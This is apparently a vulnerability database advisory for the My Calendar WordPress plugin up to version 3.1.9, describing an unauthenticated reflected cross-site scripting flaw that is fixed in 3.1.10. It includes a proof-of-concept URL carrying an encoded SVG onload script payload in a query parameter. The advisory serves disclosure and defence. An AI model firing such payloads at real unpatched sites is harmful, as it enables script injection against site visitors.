My Calendar <= 3.1.9 - Unauthenticated Cross-Site Scripting (XSS)



Description
Triggered via unescaped usage of URL parameters in multiple locations presented in the public view of a site.
Proof of Concept
http://www.domain.de/?rsd=%27%3E%3Csvg%2Fonload%3Dconfirm(%2FOPENBUGBOUNTY%2F)%3E

Affects Plugin

fixed in version 3.1.10

References

URL https://plugins.trac.wordpress.org/changeset/2078031/my-calendar

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Original Researcher Andreas Hell
Submitter Joe Dolson
Submitter Website https://www.joedolson.com
Submitter Twitter joedolson
Views 4887
Verified No
WPVDB ID 9267

Timeline

Publicly Published 2019-04-30 (3 months ago)
Added 2019-05-03 (3 months ago)
Last Updated 2019-05-03 (3 months ago)